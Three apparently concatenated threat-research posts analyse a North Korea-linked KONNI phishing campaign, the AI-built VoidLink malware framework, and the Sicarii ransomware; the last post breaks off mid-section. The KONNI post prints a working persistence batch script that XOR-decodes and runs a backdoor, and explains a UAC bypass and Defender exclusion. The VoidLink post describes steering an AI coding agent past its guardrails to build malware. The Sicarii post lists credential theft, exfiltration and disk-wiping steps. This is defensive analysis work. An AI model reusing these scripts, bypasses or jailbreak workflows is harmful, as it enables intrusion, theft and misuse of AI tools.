Key Findings:

• Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
• This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
• The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
• The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.

Introduction

Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.

In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.

While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.

Targets and Lures

Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.

The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.

While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.

Figure 1 – Blockchain themed lures used in this campaign.

Infection Chain

The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.

When executed, the LNK:

1. Writes the DOCX and CAB files to disk.
2. Opens the DOCX lure to distract the user.
3. Extracts the CAB archive, which contains:
   • PowerShell Backdoor
   • Two batch files
   • An executable used for UAC bypass
4. Executes the first batch file extracted from the CAB.

@echo off

    mkdir "C:\ProgramData\VljE"
    move "C:\ProgramData\zVJs.ps1" C:\ProgramData\VljE\
    move "C:\ProgramData\mKIftBn.bat" C:\ProgramData\VljE\
    schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=[IO.File]::ReadAllBytes(\\\"C:\ProgramData\VljE\zVJs.ps1\\\");$b=[Text.Encoding]::UTF8.GetBytes(\\\"Q\\\");for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$b[$i%%$b.Length]};$c=[Text.Encoding]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f
    timeout -t 3 /nobreak
    "C:\ProgramData\OneDriveUpdater.exe"
    del "%~f0"&exit /b

The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.

The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.

Figure 3 – Obfuscated PowerShell backdoor.

AI Usage

The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.

At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:

“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”

This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.

Figure 4 – PowerShell Backdoor Documentation.

While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:

“# <– your permanent project UUID”

This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.

The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.

PowerShell Backdoor analysis

The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.

After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.

Figure 6 – Monitoring and analysis process blacklist.

Next, the malware evaluates its current privilege level and takes a different path for each result:

• User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
• Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
• System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.

Figure 7 – Privilege-Based Execution Flow.

As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.

Figure 8 – Post request sent to the C2 server.

Earlier Variants of the Infection Chain

Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.

Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.

start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.

Attribution

The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.

Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.

Conclusion

This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.

At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.

Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.

IOCs

Hashes:

ZIP

• c79ef37866b2dff0afb9ca07b4a7c381ba0b201341f969269971398b69ade5d5
• c040756802a217abf077b2f14effb1ed68e36165fde660fef8ff0cfa2856f25d
• f619d63aa8d09bafb13c812bf60f2b9189a8dc696c7cef2f246c6b223222e94c
• b411fbe03d429556ced09412dd26dc972ee55cff907bfdb5594fe9e3f1c9f0b2
• fcc9b2ac73a0ca01fb999e6aa1a8bdbd89e632939443bcc9186ae1294089123e

LNK

• 39fdff2ea1a5e2b6151eccc89ca6d2df33b64e09145768442cec93a578f1760c
• 26356e12aae0a2ab1fd0ec15d49208603d3dd1041d50a0b153ab577319797715
• a1d4272ec0ce88f9c697b3e6c70624ec5f1ad9a83c9e64120b5ee21688365af9
• 856ac810f4a00a7e3fa89aec4c94cc166ae6ccf06c3557e9694f8639223ce25d
• e57fa2d1d3e2bff9603ce052e51a8d6ee5c6d207633765b401399b136249ca35
• c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a
• 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410

CAB

• de75afa15029283154cf379bc9bb7459cbcd548ff9d11efe24eb2fde7552af07
• 8647209127d998774179aa889d2fcc664153d73557e2cca5f29c261c48dd8772

Scripts

• b958d4d6ce65d1c081800fc14e558c34daff3b28cdd45323d05b8d40c4146c3c
• b15f95d0f269bc1edce0e07635681d7dd478c0daa82c6bfd50c551435eba10ff
• c2ec24dea46273085daa82e83c1c38f3921c718a61f617a66e8b715d1dcc0f57
• fb9f16a8900bae93dd93b5d059a0d2997c1db7198acf731f3acf1696a19eeead
• c3c8d6ea686ad87ca2c6fcb5d76da582078779ed77c7544b4095ecd7616ba39d
• af8ca986a52e312fb85f97b235e4b406d665d7ac09cbdb5e25662d4c508ebad4
• ec8c191ad171cf40461dc870b02f5c4e9904f9fec1191174d524b1fb3cbde47f
• 738637fcb82920f418111c0cd83d74d9a0807972a73abfbdc71b7446e5bd6a9d
• 159f81fc57399186503190562f28b2dd430d8cc07303e15e2ec60aee6bca798c
• eec55e9a7f27f2ecaba71735fbd636679783ff60d9019eabf8216beebd47300b
• 20e61936144822399149e651da665eb67b16e90ec824dac3d9eec8a4da42fdd2
• 851695cb3807a693aae25c8b9ade20a90eaea6802bc619c1d19d121a92aef7a0
• 1ebc4542905c8d4fd8ac6f6d9fadeef51698e5916f6ce1bcc61dcfdea02758ec
• 48585baa9f1c2b721bb8c4fbd88eff65f8fa580a662aadcd143bc4fda6590156

Executable

• f8e86693916be2178b948418228d116a8f73c7856e11c1f4470b8c413268c6c8
• 64e6a852fc2e4d3e357222692eefbf445c2bd9ba654b83e64fe9913f2bb115cc
• 26a01ffa237241e31a59f1ff4d62a063f55c97598732d55855cce18b8b27b2d6

Domains & IPs:

• filetrasfer.wuaze[.]com
• goldenftp.rf[.]gd
• plaza.xo[.]je
• gabber.42web[.]io
• humimianserver.kesug[.]com
• drone.ct[.]ws
• 46.4.112[.]56
• 192.144.34[.]77
• 192.144.34[.]40
• 34.203.111[.]164
• 223.16.184[.]105

The post KONNI Adopts AI to Generate PowerShell Backdoors appeared first on Check Point Research.

Key Points

• Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
• Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
• Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
• This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
• From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.

Introduction

When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.

In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.

However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.

As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.

AI-Crafted Malware: Creation and Methodology

The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.

Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.

Project Initialization

VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.

In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:

Chinese	English	Description
目标	Objective	Explicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取	Material acquisition	Directs the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理	Architecture breakdown	Takes the initial input and decomposes it into discrete components required to build a functional and robust framework.
风险与合规评估	Risk and compliance	Frames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射	Code repository mapping	Suggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出	Deliverables	Requests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步	Next Steps	A confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.

This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.

Project Specifications

Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.

These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:

Chinese Name	English Translation	Purpose
开发计划/	Development Plans	Sprint schedules, task lists, progress tracking
设计文档/	Design Documents	Architecture, module design, protocol specs
规范文档/	Standards/Specs	Coding standards, interface specs, best practices
技术方案/	Technical Solutions	Implementation approaches, technical deep-dives
技术研究/	Technical Research	eBPF research, network analysis, experimental designs
分析报告/	Analysis Reports	Architecture assessment, functionality comparison
进度报告/	Progress Reports	Weekly/milestone status updates
部署指南/	Deployment Guides	Quick-start, production deployment instructions
问题分析/	Problem Analysis	Bug reports, issue tracking, fix summaries
测试报告/	Test Reports	Test results, validation reports
协议/	Protocols	OpCode registry, message formats

The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.

Translated development plan for three teams: Core, Arsenal and Backend.

A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.

Code headers as described in the specifications (Left) compared to actual source code (Right)

The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.

VoidLink report showing lines of code (Added translations in parentheses)

Generating VoidLink from Scratch

With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.

When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.

Source tree after the second sprint

By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.

Implementing sprint 1 according to the documentation and requirements

The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.

Sprint completion log

While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.

Conclusion

Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.

While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.

Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?

Additional Credit

We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.

The post VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun appeared first on Check Point Research.

Key findings

• Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
• The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
• Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
• Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
• The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
• The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
• The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.

Introduction

In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.

Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).

Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.

In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.

Technical analysis

While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.

The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe

The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204

After checking connectivity, the ransomware determines if the victim is Israeli by checking:

• Is the time zone set to Israel
• Does the keyboard layout include Hebrew
• Do any adapter IPs belongs to Israeli subnets

After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.

Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.

To maintain persistence, the malware uses several different mechanisms, favoring redundancy:

• Registry Run key
• Creating a service named WinDefender
• Creating a new user SysAdmin with password Password123!
• Creating a new AWS user, without any check if AWS is installed:

Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:

Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as Documents, Desktop, Music, Downloads, Pictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:

• The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
• A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
• The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
• The original unencrypted file is deleted.

The ransomware drops its ransom note:

As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.

Intelligence Findings & Anomalies

Telegram Presence

The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.

The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.

The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.

In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.

Direct Messaging and Signaling Behavior

In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:

• Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
• Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
• Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
• Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”

On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.

Ideological Claims vs. Financial Motivation

Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.

This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.

Performative Israeli Identity and Linguistic Inconsistencies

